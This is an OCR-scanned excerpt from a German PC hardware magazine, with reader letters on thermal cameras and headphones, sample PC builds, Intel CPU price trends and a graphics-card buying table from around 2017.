gleiches Prinzip) werden in deutlich höherer Qualität berechnet als jene, die von , künstlichen" 
Lichtquellen geworfen werden. Zusätzlich nutzt The Division noch eine weitere Art der Schat- 
tendarstellung, die offenbar Frustrum-basiert arbeitet (die Schatten verschwinden am Rande 
des Blickfelds der Kamera) und zur hochauflösenden Verschattung von feinen, bodennahen 
Objekten wie diesem Kabel dient. Hellblade nutzt einen ähnlichen Ansatz für die Vegetation. 


Die Punktschatten künstlicher Lichtquellen sind deutlich niedriger aufgelöst, zudem funktioniert die optionale PCSS- sowie HFTS-Darstellung nicht (hier zugeschaltet). 
Am o - 
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Wie exakt ist die Wärmebildkamera? 
Im aktuellen Magazintest der Sockel-2066- 
Boards habe ich ein Thermografiebild der we- 
gen mäßiger Kühlung kritisierten Spannungs- 
wandler gesehen. Bei mir in der Firma nehme 
ich auch hin und wieder solche Bilder mit ei- 
ner Infrarotkamera auf, allerdings müssen wir 
vorher das Testsample schwarz lackieren. Der 
Grund ist, dass die Kamera nur von Oberflä- 
chen mit einem Abstrahlkoeffizienten nahe 1 
(Schwarz) richtige Temperaturen anzeigt. An- 
dersfarbige Oberflächen würden das Ergebnis 
verfälschen. Braucht Eure Kamera auch eine 
schwarze Oberfläche bzw. wie löst Ihr das? 
Thomas v. B., per E-Mail 


Torsten Vogel: Auch unsere Kamera kann 
ohne bekannten Emissionskoeffizienten keine 
exakten Messwerte liefern. Wir haben schon 
Abweichungen von +10 bis -7 K gegenüber 
einem Kontakt-Iemperaturfühler beobachtet, 
je nach Materialbeschaffenheit. Für exakte 
Temperaturmessungen verwenden wir daher 
besagte Fühler. Die Thermografien dienen nur 
der Illustration und der Aufsuche von Hotspots. 
Manchmal werden auch Temperaturvergleiche 
durchgeführt, das heifst ich ermittele mit Tem- 
peraturfühlern beispielsweise die Temperatur ei- 
ner Mainboard-Backplate und beurteile anhand 
dieser Referenzmessung Wärmebilder vom vor- 
derseitigen Kühlkórper aus gleichem Material. 


Headset oder Kopfhórer und Mikro? 

Da mein Logitech-G35-Headset langsam 
auseinanderfällt, ich mir Gedanken 
über eine Neuanschaffung. Neben einem brei- 
ten Feld an Spielen wird auch viel Musik über 
den PC gehört. Als Basis dient das Crosshair 
VI Hero. Könnte man den hier gelieferten On- 
board-Sound schon als gut betrachten? 

Ins Auge gefasst hatte ich die schon des öf- 
teren beworbenen Soundblaster X H5 Tourna- 
ment und die Beyerdynamic DT 990 Pro. Auch 
im Heft erhielten beide Kopfhörer durchweg 
gute bis sehr guten Bewertungen. Es fehlte aber 
ein wenig der Direktvergleich zwischen Head- 
set und normalem Kopfhörer. 

Lohnt sich der Sprung auf das deutlich teurere 
Beyerdynamic-Modell oder spielt das Soundblas- 
ter-Headset in der selben klanglichen Riege? 


mache 
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Community 


www.pcgh.de/print 


Außer über unsere Webseite www.pcgh.de und unser Forum 


www.pcghx.de können Sie selbstverständlich auch per E-Mail an 


leserpost@pcgameshardware.de mit uns Kontakt aufnehmen. 


Und zum Schluss: Sollte die Wahl auf den Be- 
yerdynamic fallen, in welcher Preiskategorie 
muss man nach einem Mikrofon suchen, um an 
ordentliche Headset-Qualität zukommen ? 

Max D., per E-Mail 


Philipp Reuther: Das Asus ROG Crosshair VI 
Hero ist tatsächlich sehr gut ausgestattet und 
sollte neben gutem Sound auch reichlich Verstär- 
kerleistung mit sich bringen, um den Beyerdy- 
namic DT 990 Pro zumindest in den niedrigeren 
Ohm-Ausführungen voll bis gut antreiben zu 
können (es gibt ihn mit 32, 250 und 600 Ohm; 
klanglich leicht unterschiedlich, 
kann man das aber vernachlässigen). Der Kopf- 
hörer ist dem Creative-Headset klanglich um 


tendenziell 


Längen voraus, das braucht man gar nicht dis- 
kutieren. Generell gibt es kaum ein Headset, egal 
in welcher Preisklasse, dass mit dem DT 990 Pro 
mithalten könnte. Das wird schon für das MMX 
300 (Gen 1 und Gen 2) sehr schwierig, denn die 
basieren auf dem DT 770 (Pro), der im Grunde 
einem geschlossenen DT 990 nahe kommt. Deut- 
lich bequemer ist der DT 990 im Übrigen auch. 


Beim Mikrofon kommt es etwas auf Ihre An- 
sprüche und den Einsatzzweck an. Ein brauch- 
bares Mikro um hin und wieder zu chatten ist 
beispielsweise mit dem Zalman ZM-MIC 1 für 
unter 10 Euro zu bekommen. Das ist eine be- 
liebte Spar-Lösung. Ein anderer Klassiker ist das 
Antlion Modmic, das es mittlerweile in fünfter 
Ausführung gibt. Das ist im Grunde ein Bausatz, 
um aus einem Kopfhörer ein Headset zu machen 
und kann direkt am Kopfhórer befestigt und ver- 
stellt werden. Das Modmic 5 kostet aktuell rund 
80 Euro, das Modmic 4 rund 50 Euro. Wegen 
des Preises würde ich selbst wahrscheinlich zu 
Letzerem tendieren, auch habe ich das Modmic 
4 schon in Verbindung mit einem Philips Fide- 
lio X2 testen kónnen und war von der Qualitát 
angetan. Das Modmic 5 ist tendenziell technisch 
überlegen: Es kann zwischen uni- und omnidi- 
rekt umgeschaltet werden; omni- (lat.: „alles-“) 
nimmt kugelfórmig alles um das Mikro auf, uni- 
(lat.: „ein-“) ist zielgerichtet. Aber ob das am PC 
wirklich nützlich ist, wage ich zu bezweifeln. 


Da der DT 990 Pro (und die meisten anderen 
Beyer-Hórer der Klasse mit Ausnahme der Cus- 


tom-Reihe) kein wechselbares Anschlusskabel 
haben, kann kein Mikrofon direkt am Hörer 
angeschlossen werden, ein Ansteckmikrofon wie 
das Beyerdynamic Headset Gear oder V-Moda 
Boom Pro fallen daher flach (das wäre aber für 
andere Kopfhörer eine Überlegung). Außerdem 
gibt es noch Standmikrofone, die qualitativ 
nochmal eine ganze Ecke besser sein können. 
Das wäre vor allem interessant, wenn Sie das 
Mikrofon sehr häufig nutzen, auf eine sehr hohe 
Aufnahmequalität Wert legen und den nötigen 
Platz dafür haben. Als Beispiel werfe ich mal das 
Samson Meteor in den Raum. 


Eine direkte Antwort darauf kann ich also nicht 
geben. Tendenziellkann man mit einem Zalman- 
Ansteck-Mikrofon zufrieden sein. Ich würde per- 
sónlich zu einem Modmic tendieren, ein Stream- 
er wahrscheinlich eher zu einem Standmikrofon 
wie dem Samson. Und nur um sicher zu gehen: 
Ihnen ist bewusst, dass der DT 990 Pro offen 
gestaltet ist? Klánge von aufsen werden durch- 
dringen, und Geráusche innerhalb des Hórers, 
wenn diese laut genug ausfallen, dringen auch 
nach aufsen. Falls Sie geräuschempfindliche Mit- 
bewohner haben oder Sie von ebendiesen abge- 
schottet sein wollen, ist ein geschlossener Hórer 
geeigneter. Wobei weder der offene DT 990 Pro 
ein Extrem darstellt (er lässt weniger Geräusche 
nach außen als andere offene Hörer) noch der 
DT 770 Pro besonders auffällig isoliert. 


PC Games Hardware Online; 
wichtige Dienste und Partner 


Alternate: Soll es eine neue Grafikkarte oder ein 
PCGH-PC sein? Besuchen Sie den größten IT-Händler in | 
Deutschland! www.pcgh.de/alternate 


Der PCGH-PC: Wenn Sie auf der Suche nach einem gut 
abgestimmten Rechner sind, kommen Sie um die PCGH- 
PCs kaum herum. www.pcgh-pc.de 


Die Leserbriefe geben nicht die Meinung der Redaktion wieder. Die Redaktion behält sich 


außerdem vor, Leserbriefe zu kürzen. 


® Abos online bestellen: 
www.pcgh.de/shop 


JP PCGH als Digitalausgabe: | 
pcgh.de/digital-ausgabe 


JP Einzelheft bestellen: 
www.pcgh.de/heft 
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Worte des Monats 


, Gute Arbeit, Kumpel. Du wirst wohl bald 
deinen Spielstil ändern müssen.” 


Mit diesen Worten überreichte Roman Campos Oriola von Ubisoft den Siegerpokal an Jakub 
,SB.Alernakin" Palen, der sich mit einem Exploit den Sieg und 10.000 US-Dollar Preisgeld in 
einem For-Honor-Turnier sicherte und „nicht gedacht hätte, dass es so leicht werden würde“. 


Bild des Monats 


Rossis Restekiste 


479.81 Hz: 


Coffee to go 


Ich hab immer gewitzelt, dass mein Smartphone inzwischen alles kann, außer Kaffee ko- 
chen. Den Gag kann ich mir inzwischen sparen, denn mit diesem Cover kann das Phone 
wirklich auch noch einen frischen Kaffee aufbrühen. Und wer hat's erfunden? Die Itali- 
ener natürlich. Wer sonst? Zwischen fünf und acht Sekunden dauert es, bis ein winziges 
Tásschen (25ml) aus dem Cover kommt. Natürlich ist dazu eine kleine, kostenlose App 
nötig. Apropos nötig ... Nótig ist so ein Cover, wegen der doch sehr überschaubaren 
Menge, sicher nicht. Aber die Gesichter der Umstehenden, wenn frischer Kaffee (!) aus Mark Rejhon von Blur Busters betreibt ein 28 Zoll groBes TN-Panel mit Ultra-HD-Auf- 
dem Smartphone kommt, dürften alleine schon den Kauf rechtfertigen. lósung dank Modifikationen an der Elektronik und Timing-Controller bei 480 Hertz — 
https://www.mokase.it/en/ in 960 x 540. Mehr dazu: www.blurbusters.com/480hz-monitor-at-blur-busters/ 


Quelle: http://www. blurbusters.com 


ANZEIGE 


ZA ae CPU-Undervolting: 


Im Begleit-Video zum Special 

zeigt Redakteur Stephan Wilke, 
wie Sie ihren Prozessor spars 
mer und kühler betreiben. ` 
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Projekt-PCs: Vega 


In jeder Ausgabe stellt PC Games Hardware zwei Beispielkonfigurationen zusammen, an denen Sie 


sich orientieren können, um einen eigenen PC zu bauen. 


MD hat die Radeon RX Vega 64 

und RX Vega 56 offiziell veröf- 
fentlicht, im August lieferbar war 
aber nur das Topmodell mit vollakti- 
vierter Vega-10-GPU. Die Ergebnisse 
(s. Seite 32 ff.) mógen zwar nicht 
alle Erwartungen getroffen haben, 


Übertakter 


AMDs Radeon Technologies Group 
spielt jetzt aber zumindest wieder in 
der gehobenen Oberklasse mit. Vor 
allem wer bereits einen Freesync- 
Monitor besitzt oder die Anschaf- 
fung eines solchen plant, bekommt 
mit der RX Vega 64 eine performan- 


te Grafikkarte. Zum  Redaktions- 
schluss waren ausschließlich die 
Black Editions im schwarzen Refe- 
renzdesign verfügbar. Die Kühlung 
ist keineswegs unhórbar, allerdings 
ist das Betriebsgeräusch subjektiv 
angenehmer als bei früheren AMD- 


Nicht-Übertakter 


Referenzdesigns (tieferes Rauschen, 
weniger Pfeifen). Custom-Designs 
der AMD-Boardpartner werden im 
Laufe des September und Oktober 
erwartet. Diese werden das Laut- 
stärkeniveau voraussichtlich deut- 


lich senken. (mm) 


Prozessor AMD Ryzen 7 1700 


€ 285,- 


Prozessor AMD Ryzen 7 1700X 


e330 


CPU-Kühler 


EKL Alpenföhn Brocken 3 


€45,- 


CPU-Kühler Be quiet Pure Rock 


ESCH 


Grafikkarte (AMD) 


Radeon RX Vega 64 


€ 650,- 


Grafikkarte (AMD) 


Radeon RX Vega 64 


€ 650,- 


Grafikkarte (Nvidia) 


KFA2 Geforce GTX 1080 EXOC 


€ 500,- 


Grafikkarte (Nvidia) 


KFA2 Geforce GTX 1080 EXOC 


€ 500,- 


Mainboard 


Asus ROG Strix B350-F Gaming 


SS; 


Mainboard 


Asus ROG Strix B350-F Gaming 


& Is 


Arbeitsspeicher 


Corsair Vengeance LPX, 2 x 8 GiB, DDR4-3000 


СВОЕ 


Arbeitsspeicher 


Corsair Vengeance LPX, 2 x 8 GiB, DDR4-3000 


€ 130,- 


550 


Samsung SSD 850 Evo 500 GB 


€ 160,- 


550 


Samsung SSD 850 Evo 500 GB 


€ 160,- 


Netzteil 


Seasonic Focus Plus Gold 650 W 


€ 90,- 


Netzteil 


Seasonic Focus Plus Gold 650 W 


Gesamtpreis (ab) 


AMD Radeon RX Vega 64 

Zum Redaktionsschluss gab es die 
Radeon RX Vega 64 nur innerhalb der 
sogenannten Radeon Packs mit Prey 
und Sniper Elite 4 als Dreingabe so- 
wie einem Rabatt auf bestimmte Ry- 
zen-7-Unterbauten. , Standalone"-Gra- 
fikkarten ohne Beilagen könnten den 
Markt künftig wieder für gut 500 Euro 
erreichen. 


Seasonic Focus Plus Gold 650 W 

Die Radeon RX Vega 64 spielt, was die 
Leistungsaufnahme angeht, in etwa auf 
dem Niveau von Nvidias Geforce GTX 
1080 Ti — je nach Profil werden 250, 300 
oder noch mehr Watt fällig. Dementspre- 
chend ist ein gróBer dimensioniertes 
Netzteil durchaus ratsam. Mit dem Fo- 
cus Plus Gold 650 W bietet Seasonic ein 
ordentliches Preis-Leistungs-Verháltnis. 


€ 1.475,- 


A 


Bild: Seasonic 


Alternativ-Komponenten 


I Radeon RX Vega 64 Liquid Cooled mit Kompakt-Wasserkühlung 
(Preisniveau der Geforce GTX 1080 Ti) 


I Ryzen 5 1600 
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€ 90,- 


Gesamtpreis (ab) € 1.505,- 


AMD Ryzen 7 1700X 

Der Ryzen 7 1700X ist die Standardemp- 
fehlung im Bereich von 300 bis 400 
Euro für alle, die nicht selbst übertak- 
ten wollen. Der Aufpreis zum 200 MHz 
schnelleren, aber gut 100 Euro teureren 
Ryzen 7 1800X lohnt sich kaum. Abge- 
sehen von Spezialfällen ziehen wir den 
Zen-Achtkerner Intels Core i7-7700(K) 
vor. 


Asus ROG Strix B350-F Gaming 
Das ROG Strix B350-F Gaming bietet 
alles, was der durchschnittliche Nutzer 
braucht, für rund 115 Euro. Alternativ 
können Sie sich im Rahmen eines Ra- 
deon Packs für Gigabytes Aorus GA- 
AX370-Gaming K7 entscheiden, das mit 
dem Rabatt auf einen ähnlichen Preis 
kommt, aber zusätzliche Anschlüsse zur 
Verfügung stellt. 


Alternativ-Komponenten 


I Gigabyte Aorus GA-AX370-Gaming K7 innerhalb eines Radeon Packs 
mit 85 - 100 Euro Rabatt (u. a. bei Alternate, Caseking, Mindfactory) 


I Ryzen 5 1600X, Radeon RX Vega 64 Liquid Cooled 
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Intels Kaby Lake S 
wird günstiger 


Intels Desktop-CPU-Generation Kaby Lake S ist in 
den vergangenen Monaten sukzessive günstiger 
geworden. Bei den meisten Prozessoren dürfte der 
steigende Euro-Kurs dafür verantwortlich sein. Die 
beiden K-Modelle Core i7-7700K und Core i5-7600K 
sind besonders stark im Preis gesunken - womög- 
lich eine Reaktion auf AMDs Ryzen-7- und -5-CPUs 
oder ein Abverkauf für Coffee Lake S. 


s kommt selten vor, dass die Preise von Intel- 

Prozessoren signifikant sinken, selbst wenn 
eine Nachfolgergeneration veröffentlicht wird. 
Von Einsteigermodellen der Core-i3-Klasse bis 
zu High-End-CPUs mit sechs Kernen oder mehr 
gab es in den letzten Jahren nur so niedrige 
Preisnachlässe, dass sich ein Neukauf gegenüber 
den Nachfolgern nie lohnte. Deutlich günstiger 
geworden sind in den vergangenen Monaten je- 
doch die beiden Kaby-Lake-S-CPUs Core i7-7700K 
und Core i5-7600K, die zum Redaktionsschluss 
305 beziehungsweise 205 Euro kosteten. Im 
Frühjahr wurden noch 360 respektive 250 Euro 
fällig. Die Preise anderer Modelle wurden zwar 
auch reduziert, allerdings nicht so stark - vermut- 
lich ist dort der gestärkte Euro-Kurs dafür ver- 
antwortlich. Im Falle der K-CPUs übersteigen die 
Nachlässe den gewachsenen Euro-Kurs deutlich. 


Aktuell ist der Core i5-7600K günstiger als der 
Core i5-7600, der Core i7-7700K kostet kaum 
mehr als der Core i7-7700. Neben dem offenen 
Multiplikator ist der Basistakt ab Werk höher. Die 
aktuelle Preissituation lässt die Vermutung auf- 
keimen, dass die beiden CPUs attraktiver gegen 
AMDs Ryzen 7 und 5 positioniert werden sollen. 
Der R7 1700 kostet nur noch 190 Euro, der R5 
1600 195 Euro. Ebenso ist es möglich, dass die 
Händler ihre Lager in Vorbereitung auf Coffee 
Lake S leeren möchten. Die neue Generation 
wurde vom Frühjahr 2018 auf den kommenden 
Herbst vorgezogen und bietet in allen Klassen 
(i3, i5, i7) mehr Kerne sowie Threads. 


Ein interessates Angebot gibt es übrigens im Fal- 
le vom Broadwell E für den Sockel 2011-v3: Der 
Core i7-6850K mit sechs Kernen und 40 PCI-Ex- 
press-3.0-Lanes kostet keine 340 Euro mehr und 
ist mindestens für Multi-GPU-Nutzer eine interes- 
sante Alternative. (mm) 
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Preisentwicklung von Intel-Prozessoren 


Preis in Euro 


Preis in Euro 


370 
360 
350 
340 
330 
320 
310 
300 
290 
280 
270 


290 


280 
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WEITE ERPREIS-LEISTUNGS-TIPP 


(СЕСТРЕ Д5РАК-Т\РР 


Diesen Monat neue Noten aufgrund aktualisierter Leistungsdaten! 


478147 AT TL 


Nvidia Geforce Circa- Grafik- 3D-Taktung Verbrauch Länge/ А Benötigte Lautheit Test in 
Preis | speicher (GPU-Boost/RAM) |(2D/3D/Ernstfall) | (Slot-)Breite | Stromstecker | (2D/3D/Ernstfall) PCGH 
MSI GTX 1080 Ti Gaming X 11G € 800,- .264 MiB | 1.810+/1.377 MHz | 15/280/283 Wa 27,8/4,5 cm | 2x 8-Po 0,0/1,9/1,9 Sone 1,53 06/2017 | www.pcgh.de/preis/1599330 
Gigabyte GTX 1080 Ti Aorus Xtr. Ed. | € 800,- .264 MiB | 1.747+/1.404 MHz | 18/251/252 Wa 29,3/5,5 cm | 2x 8-Po 0,0/1,7/1,8 Sone 1,53 06/2017 | www.pcgh.de/preis/1598560 
Asus GTX 1080 Ti Strix ОС (O11G) | € 810,- | 11.264 MiB | 1.823+/1.377 MHz | 16/276/277 Wa 30,0/4,6 cm | 2x 8-Po 0,0/2,2/2,2 Sone 1,54 06/2017 | www.pcgh.de/preis/1587607 
Inno 3D GTX 1080 Ti iChill X3 Ultra | € 830,- .264 MiB | 1.835+/1.426 MHz | 14/272/273 Wa 30,2/4,5 cm | 1x 8-/1x 6-Pol | 0,0/1,8/1,8 Sone 1,54 06/2017 | www.pcgh.de/preis/1591589 
Zotac GTX 1080 Ti AMP! Extreme | €810,- | 11.264 MiB | 1.898+/1.400 MHz | 16/319/326 Wa 31,0/5,3 cm | 2x 8-Po 0,0/3,6/3,6 Sone ШЕЕ) 06/2017 | www.pcgh.de/preis/1593440 
EVGA GTX 1080 Ti FTW3 Gaming | € 830,- .264 MiB | 1.823+/1.377 MHz | 16/290/290 Wa 30,1/3,5 cm | 2x 8-Po 0,0/2,6/3,5 Sone 1,57 08/2017 | www.pcgh.de/preis/1595665 
KFA2 GTX 1080 Ti EXOC €800,- | 11.264 MiB | 1.709+/1.377 MHz | 13/253/254 Wa 27,8/34 ст | 1x 8-/1x 6-Pol | 0,0/1,4/1,5 Sone 1,62 08/2017 | www.pcgh.de/preis/1602039 
Palit GTX 1080 Ti Super Jetstream | € 780,- .264 MiB | 1.709+/1.377 MHz | 16/252/255 Wa 28,5/5,3 cm | 2x 8-Po 0,0/1,9/1,9 Sone 1,63 08/2017 | www.pcgh.de/preis/1599327 
MSI GTX 1080 Ti Armor OC 11G € 730,- .264 MiB | 1.797+/1.377 MHz | 14/282/283 Wa 27,8/3,5 cm | 2x 8-Po 0,0/4,0/4,0 Sone 1,64 08/2017 | www.pcgh.de/preis/1599331 
EVGA GTX 1080 Ti SC2 €810,- .264 MiB | 1.7344/1.377 MHz | 14/251/255 Wa 27,0/3,5 cm x 8-/1x 6-Pol | 0,0/3,4/4,4 Sone 1,64 08/2017 | www.pcgh.de/preis/1595663 
nno 3D GTX 1080 Ti Twin X2 €770,- .264 MiB | 1.671+/1.377 MHz | 15/255/255 Wa 26,9/3,5 cm x 8-/1x 6-Pol | 0,0/2,7/2,7 Sone 1,66 08/2017 | www.pcgh.de/preis/1591591 
Zotac GTX 1080 AMP! Extreme €590,- | 8.192 MiB | 1.987+/1.350 MHz | 10/259/275 Wa 31,2/5,0 ст | 2x 8-Po 0,0/1,7/1,9 Sone 1,82 08/2016 | www.pcgh.de/preis/1449220 
Gainward GTX 1080 Phoenix СІН | €610,- | 8.192 МІВ | 1.911+/1.315 MHz | 8/219/220 Watt 28,5/5,2 cm x 8-/1x 6-Pol | 0,0/1,5/1,5 Sone 1,84 08/2016 | www.pcgh.de/preis/1456253 
Palit GTX 1080 Game Rock Prem. € 600,- | 8.192 MIB | 1.911+/1.315 MHz | 8/220/220 Watt 28,5/5,2 cm x 8-/1x 6-Pol | 0,0/1,5/1,5 Sone 1,86 08/2016 | www.pcgh.de/preis/1449283 
EVGA GTX 1080 FTW ACX 3.0 €580,- | 8.192 MiB | 1.936+/1.251 MHz | 12/237/247 Wa 27,3/3,5 cm | 2x 8-Po 0,0/2,4/2,4 Sone 1,86 08/2016 | www.pcgh.de/preis/1449255 
MSI GTX 1080 Gaming X 8G €600,- |8.192 MiB | 1.886+/1.251 MHz | 13/235/245 Wa 21,7/3,5 cm x 8-/1x 6-Pol | 0,0/2,3/2,3 Sone 1,90 08/2016 | www.pcgh.de/preis/1449271 
Palit GTX 1070 Game Rock Prem. | €530,- | 8.192 MiB | 1.936+/4.253 MHz | 9/171/174 Watt 28,5/5,2 cm x 8-Po 0,0/0,8/0,8 Sone 2,06 08/2016 | www.pcgh.de/preis/1456802 
Zotac GTX 1070 AMP! Extreme €480,- | 8.192 MiB | 1.987+/4.104 MHz | 12/219/253 Wa 31,2/5,0 ст | 2x 8-Po 0,0/1,6/1,9 Sone 2,07 09/2016 | www.pcgh.de/preis/1456755 
nno 3D GTX 1070 iChill ХЗ €480,- | 8.192 MiB | 1.949+/4.104 MHz | 10/190/192 Wa 30,2/4,5 cm x 8-Po 0,0/1,5/1,5 Sone 2,09 09/2016 | www.pcgh.de/preis/1450744 
Asus GTX 1070 Strix OC (08G) €530,- |8.192 MiB | 1.911+/4.007 MHz | 8/166/167 Watt 29,9/3,5 cm x 8-Po 0,0/1,8/1,8 Sone 2,11 08/2016 | www.pcgh.de/preis/1450613 
MSI GTX 1070 Gaming X 8G €510,- | 8.192 MiB | 1.924+/4.007 MHz | 11/208/208 Wa 21,7/3,5 cm x 8-/1x 6-Pol | 0,0/1,4/1,4 Sone 2,13 08/2016 | www.pcgh.de/preis/1456552 
Gigabyte GTX 1060 Xtr. Ed. 9Gbps | € 350,- | 6.144 МІВ | 1.974+/4.514 MHz | 12/148/149 Wa 28,0/5,5 cm x 8-Po 0,0/1,1/1,1 Sone 2,44 07/2017 | www.pcgh.de/preis/1613097 
Asus GTX 1060 Strix OC (066) €380,- | 6.144 МІВ | 1.987+/4.104 MHz | 8/145/145 Watt 30,0/3,5 cm x 8-Po 0,0/2,4/2,4 Sone 2,45 0/2016 | www.pcgh.de/preis/1478721 
Zotac GTX 1060 АМР!+ €350,- | 6.144 MiB | 1.860+/4.514 MHz | 9/121/121 Watt 21,2/3,4 cm x 6-Po 0,0/1,0/1,0 Sone 2,47 07/2017 | www.pcgh.de/preis/1605045 
MSI GTX 1060 Gaming X 6G €350,- | 6.144 MiB | 1.949+/4.007 MHz | 8/146/146 Watt 21,7/3,5 cm x 8-Po 0,0/0,7/0,7 Sone 2,47 0/2016 | www.pcgh.de/preis/1478791 
Asus GTX 1060 Strix 06G-9Gbps | €380,- | 6.144 МІВ | 1.911+/4.514 MHz | 9/132/132 Watt 21,7/3,5 cm x 6-Po 0,0/1,4/1,4 Sone 2,48 07/2017 | www.pcgh.de/preis/1612603 
Zotac GTX 1060 AMP! €300,- | 6.144 MiB | 1.848+/4.007 MHz | 9/121/123 Watt 21,1/3,4 cm x 8-Po| 0,0/1,0/1,0 Sone 2,50 0/2016 | www.pcgh.de/preis/ 
Gigabyte GTX 1060 G1 Gaming €340,- | 6.144 МІВ | 1.962+/4.007 MHz | 9/153/153 Watt 27,9/3,5 cm x 8-Po 0,0/2,4/2,4 Sone 2,51 0/2016 | www.pcgh.de/preis/1479045 
Gainward GTX 1060 Phoenix GS €340,- | 6.144 MiB | 1.860+/4.007 MHz | 6/124/125 Watt 24,6/4,8 cm x 6-Po 0,0/1,4/1,4 Sone 2,53 0/2016 | www.pcgh.de/preis/1478764 
Palit GTX 1060 Super Jetstream € 320,- | 6.144 MiB 1.860+/4.007 MHz | 6/123/125 Watt 24,8/4,8 cm x 6-Po 0,0/1,3/1,3 Sone 2,55 0/2016 | www.pcgh.de/preis/1478641 
EVGA GTX 1060 SC Gaming €320,- | 6.144 MiB | 1.898+/4.007 MHz | 6/122/125 Watt 18,2/3,5 cm x 6-Po 0,0/2,5/2,5 Sone 2,58 0/2016 | www.pcgh.de/preis/1479077 
Asus GTX 1050 Ti Strix 04G € 180,- | 4.096 MiB | 1.797+/3.504 MHz | 8/76/92 Watt 24,1/3,5 cm x 6-Po 0,0/0,8/0,9 Sone 2,86 01/2017 | www.pcgh.de/preis/1527166 
Gigabyte GTX 1050 Ti G1 Gaming | € 175,- | 4.096 MiB | 1.645+/3.504 MHz | 8/67/68 Watt 22,0/3,5 cm x 6-Po 0,0/0,3/0,3 Sone 2,89 01/2017 | www.pcgh.de/preis/1526013 
EVGA GTX 1050 Ti SC Gaming € 170,- | 4.096 MiB | 1.557+/3.504 MHz | 6/56/59 Watt 15,2/3,5 cm 0,2/0,4/0,4 Sone 2,96 01/2017 | www.pcgh.de/preis/1525248 
Asus GTX 1050 Expedition Є 130,- | 2.048 MiB | 1.493+/3.504 MHz | 6/55/55 Watt 21,1/3,5 cm 0,0/0,5/0,5 Sone 3,15 01/2017 | www.pcgh.de/preis/1525209 
AMD Radeon ° E a к= eee 
AMD RX Vega 64 (Air) ** €610,- | 8.192 MiB | 1.401+/945 MHz 15/289/290 Wa 26,7/3,5 cm | 2x 8-Pol 0,2/4,9/4,9 Sone 2/19 10/2017 | www.pcgh.de/preis/1664779 
AMD RX Vega 56 ** €400,- | 8.192 MiB | 1.138+/800 MHz 15/216/218 Wa 26,7/3,5 cm | 2x 8-Pol 0,2/4,9/4,9 Sone 2,33 10/2017 Noch nicht aufgeführt 
AMD R9 Fury X ** 4.096 MiB | 1.050/500 MHz 21/346/385 Wa 19,5/3,3 cm | 2x 8-Pol 1,3/1,6/1,6 Sone 2,47 09/2015 Nicht lieferbar 
Sapphire RX 580 Nitro-- Limited Ed. 8.192 MiB | 1.380+/4.000 MHz | 16/215/233 Wa 26,2/4,5 cm x 8-/1x 6-Pol | 0,0/1,5/1,7 Sone 2,56 07/2017 | www.pcgh.de/preis/1610153 
Powercolor RX 580 Red Devil GS €390,- |8.192 MiB | 1.420+/4.000 MHz | 13/240/246 Wa 24,1/5,1 cm x 8-/1x 6-Pol | 0,0/1,9/2,5 Sone 2,56 07/2017 | www.pcgh.de/preis/1609947 
Gigabyte RX 580 Aorus XTR 8G 8.192 MiB | 1.410+/4.000 MHz | 18/268/269 Wa 27,6/5,4 cm x 8-/1x 6-Pol | 0,0/2,1/2,1 Sone 2,57 07/2017 | www.pcgh.de/preis/1610162 
MSI RX 580 Gaming X 8G €390,- | 8.192 MiB | 1.320+/4.000 MHz | 16/205/210 Wa 27,5/3,5 cm x 8-Po| 0,0/2,0/2,3 Sone 2,59 07/2017 | www.pcgh.de/preis/1609960 
Asus RX 580 Strix TOP (T8G) €430,- | 8.192 MiB | 1.405+/4.000 MHz | 14/222/226 Wa 30,0/4,5 cm x 8-Po 0,0/3,5/3,5 Sone 2,59 07/2017 | www.pcgh.de/preis/1610032 
MSI RX 480 Gaming X 8G 8.192 MiB | 1.303/4.000 MHz 18/209/225 Wa 27,5/3,5 cm x 8-Po 0,0/2,2/2,4 Sone 2,60 10/2016 Nicht lieferbar 
Sapphire RX 480 Nitro+ OC 8GB 8.192 MiB | 1.300+/4.000 MHz | 14/215/230 Wa 24,0/3,5 cm x 8-Po 0,0/5,4/6,6 Sone 2,61 10/2016 Nicht lieferbar 
Sapphire RX 570 Nitro+ 8GD5 €320,- | 8.192 MiB | 1.3204/3.500 MHz | 15/202/221 Wa 26,0/3,8 cm x 8-/1x 6-Pol | 0,0/1,0/1,7 Sone 2,63 07/2017 | www.pcgh.de/preis/1610158 
Powercolor RX 480 Red Devil 8.192 MiB 1.190+/4.000 MHz | 18/199/200 Wa 30,0/3,5 cm x 8-Pol 0,0/2,3/2,3 Sone 2,64 10/2016 Nicht lieferbar 
Sapphire RX 480 Nitro-- 4D5 OC 4.096 MiB | 1.306/3.500 MHz 14/207/220 Wa 24,0/3,5 cm x 8-Po 0,0/4,2/5,0 Sone 2,70 10/2016 Nicht lieferbar 
Sapphire RX 470 Nitro-- 4D5 OC 4.096 MiB | 1.220+/3.500 MHz | 15/195/209 Wa 24,0/3,5 cm x 8-Po 0,0/2,5/2,7 Sone 2,73 01/2017 Nicht lieferbar 
Asus RX 580 Dual 04G €330,- | 4.096 MiB | 1.2604/3.500 MHz | 14/181/185 Wa 24,1/3,5 cm x 8-Po 0,0/4,1/4,1 Sone 275 07/2017 | www.pcgh.de/preis/1610054 
Powercolor RX 570 Red Devil €300,- | 4.096 MiB | 1.320/3.500 MHz 13/225/260 Wa 30,0/3,5 cm x 8-Po 0,0/2,7/5,2 Sone 2,78 07/2017 | www.pcgh.de/preis/1609990 
Powercolor RX 470 Red Devil 4.096 MiB 1.125+/3.500 MHz | 17/174/182 Wa 24,0/3,5 cm x 8-Ро! 0,0/4,6/4,7 Sone 2,84 01/2017 Nicht lieferbar 
Sapphire RX 570 Pulse ITX €320,- | 4.096 MiB | 1.1304/3.500 MHz | 13/144/147 Wa 17,0/3,5 cm x 6-Po 0,0/0,9/1,2 Sone 2,84 07/2017 | www.pcgh.de/preis/1610160 
Asus RX 470 Strix OC 4.096 MiB | 1.0504/3.300 MHz | 16/146/151 Wa 24,2/3,5 cm x 6-Po 0,0/3,2/3,6 Sone 2,85 01/2017 Nicht lieferbar 
Asus RX 460 Strix 046 4.096 MiB | 1.225+/3.500 MHz | 9/98/105 Watt 19,5/3,5 cm x 6-Po 0,0/1,6/1,6 Sone 3,14 01/2017 Nicht lieferbar 
* Im August war wegen des Minings kaum ein Modell lieferbar, daher viele ohne Preisangabe. ** Beliebige Referenzkarte, bis auf die Beigaben sind alle gleich. Sapphire-Karten: Sofern verfügbar, wurde die Full-Retail-Version getestet. 
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Einkaufsführer Prozessoren & RAM 


Preise: Stand 24.08.2017 


Prozessoren (Auswahl bereits getesteter Modelle) 


WELT ER PREIS-LEISTUNGS-TIPP 


